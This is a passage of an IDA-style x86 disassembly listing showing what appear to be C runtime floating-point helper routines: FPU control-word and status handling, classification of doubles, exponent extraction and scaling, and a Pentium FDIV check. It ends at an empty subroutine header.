loc_428F15:				; CODE XREF: sub_428DD0+138j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_30]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_30+4]
		mov	[ecx+4], eax
		jmp	short loc_428FA3
; ---------------------------------------------------------------------------


loc_428F25:				; CODE XREF: sub_428DD0+B5j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_43A188
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_428F4A
		mov	edx, dword ptr ds:dbl_4503C8
		mov	dword ptr [ebp+var_38],	edx
		mov	eax, dword ptr ds:dbl_4503C8+4
		mov	dword ptr [ebp+var_38+4], eax
		jmp	short loc_428F55
; ---------------------------------------------------------------------------


loc_428F4A:				; CODE XREF: sub_428DD0+165j
		fld	ds:dbl_4503B8
		fchs
		fstp	[ebp+var_38]


loc_428F55:				; CODE XREF: sub_428DD0+178j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_38]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_38+4]
		mov	[ecx+4], eax
		jmp	short loc_428FA3
; ---------------------------------------------------------------------------


loc_428F65:				; CODE XREF: sub_428DD0+C7j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_43A188
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_428F8A
		mov	edx, dword ptr ds:dbl_4503C8
		mov	dword ptr [ebp+var_40],	edx
		mov	eax, dword ptr ds:dbl_4503C8+4
		mov	dword ptr [ebp+var_40+4], eax
		jmp	short loc_428F95
; ---------------------------------------------------------------------------


loc_428F8A:				; CODE XREF: sub_428DD0+1A5j
		fld	ds:dbl_4503C8
		fchs
		fstp	[ebp+var_40]


loc_428F95:				; CODE XREF: sub_428DD0+1B8j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_40]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_40+4]
		mov	[ecx+4], eax


loc_428FA3:				; CODE XREF: sub_428DD0+BBj
					; sub_428DD0+CDj ...
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFFFFEh
		mov	[ebp+var_4], ecx
		jmp	loc_42910E
; ---------------------------------------------------------------------------


loc_428FB1:				; CODE XREF: sub_428DD0+6Dj
					; sub_428DD0+7Bj
		mov	edx, [ebp+arg_0]
		and	edx, 2
		test	edx, edx
		jz	loc_42910E
		mov	eax, [ebp+arg_8]
		and	eax, 10h
		test	eax, eax
		jz	loc_42910E
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+arg_0]
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_428FE5
		mov	[ebp+var_8], 1


loc_428FE5:				; CODE XREF: sub_428DD0+20Cj
		mov	edx, [ebp+arg_4]
		fld	qword ptr [edx]
		fcomp	ds:dbl_43A188
		fnstsw	ax
		test	ah, 40h
		jnz	loc_4290EE
		lea	eax, [ebp+var_18]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ecx]
		push	eax		; double
		call	sub_429460
		add	esp, 0Ch
		fstp	[ebp+var_10]
		mov	ecx, [ebp+var_18]
		sub	ecx, 600h
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 0FFFFFBCEh
		jge	short loc_429041
		fld	[ebp+var_10]
		fmul	ds:dbl_43A188
		fstp	[ebp+var_10]
		mov	[ebp+var_8], 1
		jmp	loc_4290DE
; ---------------------------------------------------------------------------


loc_429041:				; CODE XREF: sub_428DD0+257j
		fld	[ebp+var_10]
		fcomp	ds:dbl_43A188
		fnstsw	ax
		test	ah, 1
		jz	short loc_42905A
		mov	[ebp+var_44], 1
		jmp	short loc_429061
; ---------------------------------------------------------------------------


loc_42905A:				; CODE XREF: sub_428DD0+27Fj
		mov	[ebp+var_44], 0


loc_429061:				; CODE XREF: sub_428DD0+288j
		mov	edx, [ebp+var_44]
		mov	[ebp+var_1C], edx
		mov	ax, word ptr [ebp+var_10+6]
		and	ax, 0Fh
		mov	word ptr [ebp+var_10+6], ax
		mov	cx, word ptr [ebp+var_10+6]
		or	cl, 10h
		mov	word ptr [ebp+var_10+6], cx
		jmp	short loc_429089
; ---------------------------------------------------------------------------


loc_429080:				; CODE XREF: sub_428DD0+2FEj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx


loc_429089:				; CODE XREF: sub_428DD0+2AEj
		cmp	[ebp+var_14], 0FFFFFC03h
		jge	short loc_4290D0
		mov	eax, dword ptr [ebp+var_10]
		and	eax, 1
		test	eax, eax
		jz	short loc_4290A9
		cmp	[ebp+var_8], 0
		jnz	short loc_4290A9
		mov	[ebp+var_8], 1


loc_4290A9:				; CODE XREF: sub_428DD0+2CAj
					; sub_428DD0+2D0j
		mov	ecx, dword ptr [ebp+var_10]
		shr	ecx, 1
		mov	dword ptr [ebp+var_10],	ecx
		mov	edx, dword ptr [ebp+var_10+4]
		and	edx, 1
		test	edx, edx
		jz	short loc_4290C6
		mov	eax, dword ptr [ebp+var_10]
		or	eax, 80000000h
		mov	dword ptr [ebp+var_10],	eax


loc_4290C6:				; CODE XREF: sub_428DD0+2E9j
		mov	ecx, dword ptr [ebp+var_10+4]
		shr	ecx, 1
		mov	dword ptr [ebp+var_10+4], ecx
		jmp	short loc_429080
; ---------------------------------------------------------------------------


loc_4290D0:				; CODE XREF: sub_428DD0+2C0j
		cmp	[ebp+var_1C], 0
		jz	short loc_4290DE
		fld	[ebp+var_10]
		fchs
		fstp	[ebp+var_10]


loc_4290DE:				; CODE XREF: sub_428DD0+26Cj
					; sub_428DD0+304j
		mov	edx, [ebp+arg_4]
		mov	eax, dword ptr [ebp+var_10]
		mov	[edx], eax
		mov	ecx, dword ptr [ebp+var_10+4]
		mov	[edx+4], ecx
		jmp	short loc_4290F5
; ---------------------------------------------------------------------------


loc_4290EE:				; CODE XREF: sub_428DD0+225j
		mov	[ebp+var_8], 1


loc_4290F5:				; CODE XREF: sub_428DD0+31Cj
		cmp	[ebp+var_8], 0
		jz	short loc_429105
		push	10h
		call	sub_429620
		add	esp, 4


loc_429105:				; CODE XREF: sub_428DD0+329j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFFDh
		mov	[ebp+var_4], edx


loc_42910E:				; CODE XREF: sub_428DD0+35j
					; sub_428DD0+60j ...
		mov	eax, [ebp+arg_0]
		and	eax, 10h
		test	eax, eax
		jz	short loc_429135
		mov	ecx, [ebp+arg_8]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_429135
		push	20h
		call	sub_429620
		add	esp, 4
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFEFh
		mov	[ebp+var_4], edx


loc_429135:				; CODE XREF: sub_428DD0+346j
					; sub_428DD0+350j
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setz	al
		mov	esp, ebp
		pop	ebp
		retn
sub_428DD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_429150(int, int, int,	int, int, int, double, int)

sub_429150	proc near		; CODE XREF: sub_4286A0+2Ap
					; seg000:0042873Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_429230
		add	esp, 4
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_4291C7
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_14]
		mov	[ebp+var_C], edx
		mov	eax, dword ptr [ebp+arg_18]
		mov	dword ptr [ebp+var_8], eax
		mov	ecx, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], ecx
		push	0FFFFh
		mov	edx, [ebp+arg_20]
		push	edx
		call	sub_4295E0
		add	esp, 8
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42F6C0
		add	esp, 4
		test	eax, eax
		jnz	short loc_4291C2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4291F0
		add	esp, 4


loc_4291C2:				; CODE XREF: sub_429150+64j
		fld	[ebp+var_8]
		jmp	short loc_4291E7
; ---------------------------------------------------------------------------


loc_4291C7:				; CODE XREF: sub_429150+19j
		push	0FFFFh
		mov	edx, [ebp+arg_20]
		push	edx
		call	sub_4295E0
		add	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4291F0
		add	esp, 4
		fld	[ebp+arg_18]


loc_4291E7:				; CODE XREF: sub_429150+75j
		mov	esp, ebp
		pop	ebp
		retn
sub_429150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4291F0	proc near		; CODE XREF: sub_428770+92p
					; seg000:004288DEp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 1
		jz	short loc_42920E
		cmp	[ebp+var_4], 1
		jle	short loc_429226
		cmp	[ebp+var_4], 3
		jle	short loc_42921B
		jmp	short loc_429226
; ---------------------------------------------------------------------------


loc_42920E:				; CODE XREF: sub_4291F0+Ej
		call	sub_4267E0
		mov	dword ptr [eax], 21h
		jmp	short loc_429226
; ---------------------------------------------------------------------------


loc_42921B:				; CODE XREF: sub_4291F0+1Aj
		call	sub_4267E0
		mov	dword ptr [eax], 22h


loc_429226:				; CODE XREF: sub_4291F0+14j
					; sub_4291F0+1Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4291F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429230	proc near		; CODE XREF: sub_429150+Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_429246
; ---------------------------------------------------------------------------


loc_42923D:				; CODE XREF: sub_429230:loc_429267j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_429246:				; CODE XREF: sub_429230+Bj
		cmp	[ebp+var_4], 1Bh
		jge	short loc_429269
		mov	ecx, [ebp+var_4]
		mov	edx, ds:dword_4502E0[ecx*8]
		cmp	edx, [ebp+arg_0]
		jnz	short loc_429267
		mov	eax, [ebp+var_4]
		mov	eax, ds:off_4502E4[eax*8]
		jmp	short loc_42926B
; ---------------------------------------------------------------------------


loc_429267:				; CODE XREF: sub_429230+29j
		jmp	short loc_42923D
; ---------------------------------------------------------------------------


loc_429269:				; CODE XREF: sub_429230+1Aj
		xor	eax, eax


loc_42926B:				; CODE XREF: sub_429230+35j
		mov	esp, ebp
		pop	ebp
		retn
sub_429230	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429270	proc near		; CODE XREF: sub_428770+4Ap
					; seg000:00428892p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	eax, 20h
		test	eax, eax
		jz	short loc_429287
		mov	[ebp+var_4], 5
		jmp	short loc_4292DA
; ---------------------------------------------------------------------------


loc_429287:				; CODE XREF: sub_429270+Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42929A
		mov	[ebp+var_4], 1
		jmp	short loc_4292DA
; ---------------------------------------------------------------------------


loc_42929A:				; CODE XREF: sub_429270+1Fj
		mov	edx, [ebp+arg_0]
		and	edx, 4
		test	edx, edx
		jz	short loc_4292AD
		mov	[ebp+var_4], 2
		jmp	short loc_4292DA
; ---------------------------------------------------------------------------


loc_4292AD:				; CODE XREF: sub_429270+32j
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_4292C0
		mov	[ebp+var_4], 3
		jmp	short loc_4292DA
; ---------------------------------------------------------------------------


loc_4292C0:				; CODE XREF: sub_429270+45j
		mov	ecx, [ebp+arg_0]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_4292D3
		mov	[ebp+var_4], 4
		jmp	short loc_4292DA
; ---------------------------------------------------------------------------


loc_4292D3:				; CODE XREF: sub_429270+58j
		mov	[ebp+var_4], 0


loc_4292DA:				; CODE XREF: sub_429270+15j
					; sub_429270+28j ...
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_429270	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4292F0	proc near		; CODE XREF: seg000:00429389p
					; sub_429460+ECp ...

var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebp+var_C], eax
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ebp+var_C+4], ecx
		mov	edx, [ebp+arg_8]
		add	edx, 3FEh
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_4+2]
		and	eax, 0FFFFh
		and	eax, 800Fh
		mov	ecx, [ebp+var_4]
		shl	ecx, 4
		or	eax, ecx
		mov	word ptr [ebp+var_C+6],	ax
		fld	[ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_4292F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+0Eh]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		mov	[ebp-4], ax
		mov	cx, [ebp-4]
		sub	cx, 3FEh
		mov	[ebp-4], cx
		movsx	eax, word ptr [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Eh]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		movsx	ecx, ax
		mov	edx, [ebp+10h]
		lea	eax, [ecx+edx-3FEh]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_4292F0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		mov	ecx, [ebp+0Ch]
		mov	[ebp-4], ecx
		mov	edx, [ebp+0Eh]
		and	edx, 0FFFFh
		and	edx, 800Fh
		mov	eax, [ebp+10h]
		shl	eax, 4
		or	edx, eax
		mov	[ebp-2], dx
		fld	qword ptr [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4293E0	proc near		; CODE XREF: sub_41F150+3Fp
					; sub_41F370+3Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4293F9
		cmp	[ebp+arg_0], 0
		jnz	short loc_4293F9
		mov	eax, 1
		jmp	short loc_42945A
; ---------------------------------------------------------------------------


loc_4293F9:				; CODE XREF: sub_4293E0+Aj
					; sub_4293E0+10j
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_42940F
		cmp	[ebp+arg_0], 0
		jnz	short loc_42940F
		mov	eax, 2
		jmp	short loc_42945A
; ---------------------------------------------------------------------------


loc_42940F:				; CODE XREF: sub_4293E0+20j
					; sub_4293E0+26j
		mov	eax, [ebp+arg_4+2]
		and	eax, 0FFFFh
		and	eax, 7FF8h
		cmp	eax, 7FF8h
		jnz	short loc_42942A
		mov	eax, 3
		jmp	short loc_42945A
; ---------------------------------------------------------------------------


loc_42942A:				; CODE XREF: sub_4293E0+41j
		mov	ecx, [ebp+arg_4+2]
		and	ecx, 0FFFFh
		and	ecx, 7FF8h
		cmp	ecx, 7FF0h
		jnz	short loc_429458
		mov	edx, [ebp+arg_4]
		shl	edx, 0Dh
		test	edx, edx
		jnz	short loc_429451
		cmp	[ebp+arg_0], 0
		jz	short loc_429458


loc_429451:				; CODE XREF: sub_4293E0+69j
		mov	eax, 4
		jmp	short loc_42945A
; ---------------------------------------------------------------------------


loc_429458:				; CODE XREF: sub_4293E0+5Fj
					; sub_4293E0+6Fj
		xor	eax, eax


loc_42945A:				; CODE XREF: sub_4293E0+17j
					; sub_4293E0+2Dj ...
		pop	ebp
		retn
sub_4293E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_429460(double, int)

sub_429460	proc near		; CODE XREF: sub_428DD0+239p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		fld	[ebp+arg_0]
		fcomp	ds:dbl_43A188
		fnstsw	ax
		test	ah, 40h
		jz	short loc_429490
		mov	dword ptr [ebp+var_C], 0
		mov	dword ptr [ebp+var_C+4], 0
		mov	[ebp+var_4], 0
		jmp	loc_42958A
; ---------------------------------------------------------------------------


loc_429490:				; CODE XREF: sub_429460+14j
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		test	eax, eax
		jnz	loc_429559
		mov	ecx, dword ptr [ebp+arg_0+4]
		shl	ecx, 0Ch
		test	ecx, ecx
		jnz	short loc_4294B9
		cmp	dword ptr [ebp+arg_0], 0
		jz	loc_429559


loc_4294B9:				; CODE XREF: sub_429460+4Dj
		mov	[ebp+var_4], 0FFFFFC03h
		fld	[ebp+arg_0]
		fcomp	ds:dbl_43A188
		fnstsw	ax
		test	ah, 1
		jz	short loc_4294D9
		mov	[ebp+var_14], 1
		jmp	short loc_4294E0
; ---------------------------------------------------------------------------


loc_4294D9:				; CODE XREF: sub_429460+6Ej
		mov	[ebp+var_14], 0


loc_4294E0:				; CODE XREF: sub_429460+77j
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx


loc_4294E6:				; CODE XREF: sub_429460+C3j
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jnz	short loc_429525
		mov	ecx, dword ptr [ebp+arg_0+4]
		shl	ecx, 1
		mov	dword ptr [ebp+arg_0+4], ecx
		mov	edx, dword ptr [ebp+arg_0]
		and	edx, 80000000h
		test	edx, edx
		jz	short loc_429512
		mov	eax, dword ptr [ebp+arg_0+4]
		or	al, 1
		mov	dword ptr [ebp+arg_0+4], eax


loc_429512:				; CODE XREF: sub_429460+A8j
		mov	ecx, dword ptr [ebp+arg_0]
		shl	ecx, 1
		mov	dword ptr [ebp+arg_0], ecx
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_4294E6
; ---------------------------------------------------------------------------


loc_429525:				; CODE XREF: sub_429460+93j
		mov	ax, word ptr [ebp+arg_0+6]
		and	ax, 0FFEFh
		mov	word ptr [ebp+arg_0+6],	ax
		cmp	[ebp+var_10], 0
		jz	short loc_429542
		mov	cx, word ptr [ebp+arg_0+6]
		or	ch, 80h
		mov	word ptr [ebp+arg_0+6],	cx


loc_429542:				; CODE XREF: sub_429460+D5j
		push	0
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_4292F0
		add	esp, 0Ch
		fstp	[ebp+var_C]
		jmp	short loc_42958A
; ---------------------------------------------------------------------------


loc_429559:				; CODE XREF: sub_429460+3Fj
					; sub_429460+53j
		push	0
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx
		mov	edx, dword ptr [ebp+arg_0]
		push	edx
		call	sub_4292F0
		add	esp, 0Ch
		fstp	[ebp+var_C]
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		movsx	ecx, ax
		sub	ecx, 3FEh
		mov	[ebp+var_4], ecx


loc_42958A:				; CODE XREF: sub_429460+2Bj
					; sub_429460+F7j
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		fld	[ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_429460	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4295A0	proc near		; CODE XREF: sub_428900+171p

var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fstsw	[ebp+var_4]
		movsx	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4295A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4295C0	proc near		; CODE XREF: sub_428900+349p

var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fnstsw	[ebp+var_4]
		fnclex
		movsx	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4295C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4295E0	proc near		; CODE XREF: sub_41F150+11p
					; sub_41F150+67p ...

var_8		= word ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		fstcw	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		movsx	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		not	edx
		and	ecx, edx
		or	eax, ecx
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		movsx	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4295E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429620	proc near		; CODE XREF: sub_428DD0+25p
					; sub_428DD0+50p ...

var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_42963D
		fld	ds:tbyte_4503E0
		fistp	[ebp+var_C]
		wait


loc_42963D:				; CODE XREF: sub_429620+11j
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_429657
		fstsw	ax
		fld	ds:tbyte_4503E0
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_429657:				; CODE XREF: sub_429620+25j
		mov	edx, [ebp+arg_0]
		and	edx, 10h
		test	edx, edx
		jz	short loc_42966B
		fld	ds:tbyte_4503EC
		fstp	[ebp+var_8]
		wait


loc_42966B:				; CODE XREF: sub_429620+3Fj
		mov	eax, [ebp+arg_0]
		and	eax, 4
		test	eax, eax
		jz	short loc_42967E
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_42967E:				; CODE XREF: sub_429620+53j
		mov	ecx, [ebp+arg_0]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_42968E
		fldpi
		fstp	[ebp+var_8]
		wait


loc_42968E:				; CODE XREF: sub_429620+66j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_429620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4296A0	proc near		; CODE XREF: sub_41F290+15p
					; seg000:0042F795p
		push	ebp
		mov	ebp, esp
		push	30000h
		push	10000h
		call	sub_42F760
		add	esp, 8
		pop	ebp
		retn
sub_4296A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4296C0	proc near		; CODE XREF: sub_429720:loc_429759p

var_1C		= dword	ptr -1Ch
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp+var_18],	80000000h
		mov	dword ptr [ebp+var_18+4], 4147FFFFh
		mov	dword ptr [ebp+var_8], 0C0000000h
		mov	dword ptr [ebp+var_8+4], 4150017Eh
		fld	[ebp+var_8]
		fdiv	[ebp+var_18]
		fmul	[ebp+var_18]
		fsubr	[ebp+var_8]
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fcomp	ds:dbl_439CE8
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42970D
		mov	[ebp+var_1C], 1
		jmp	short loc_429714
; ---------------------------------------------------------------------------


loc_42970D:				; CODE XREF: sub_4296C0+42j
		mov	[ebp+var_1C], 0


loc_429714:				; CODE XREF: sub_4296C0+4Bj
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4296C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429720	proc near		; CODE XREF: sub_41F290+Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 3D0000h
		in	al, 89h		; DMA page register 74LS612:
					; Channel 6 (address bits 17-23)
		inc	ebp
		cld
		cmp	[ebp+var_4], 0
		jz	short loc_429759
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		mov	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4F1314
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_429759
		push	0
		call	[ebp+var_8]
		jmp	short loc_42975E
; ---------------------------------------------------------------------------


loc_429759:				; CODE XREF: sub_429720+18j
					; sub_429720+30j
		call	sub_4296C0


loc_42975E:				; CODE XREF: sub_429720+37j
		mov	esp, ebp
		pop	ebp
		retn
sub_429720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429770	proc near		; DATA XREF: sub_41F2D0+21o

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		push	ecx
		call	sub_420960
		add	esp, 4
		cmp	eax, 65h
		jz	short loc_4297D0


loc_42978A:				; CODE XREF: sub_429770+5Ej
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		cmp	ds:dword_44FD20, 1
		jle	short loc_4297B2
		push	4
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_C], eax
		jmp	short loc_4297CA
; ---------------------------------------------------------------------------


loc_4297B2:				; CODE XREF: sub_429770+2Aj
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_C], edx


loc_4297CA:				; CODE XREF: sub_429770+40j
		cmp	[ebp+var_C], 0
		jnz	short loc_42978A


loc_4297D0:				; CODE XREF: sub_429770+18j
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_8], cl
		mov	edx, [ebp+arg_0]
		mov	al, ds:byte_44FD24
		mov	[edx], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_4297EB:				; CODE XREF: sub_429770+A2j
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ebp+var_4], al
		mov	ecx, [ebp+arg_0]
		mov	dl, [ebp+var_8]
		mov	[ecx], dl
		mov	al, [ebp+var_4]
		mov	[ebp+var_8], al
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		test	edx, edx
		jnz	short loc_4297EB
		mov	esp, ebp
		pop	ebp
		retn
sub_429770	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


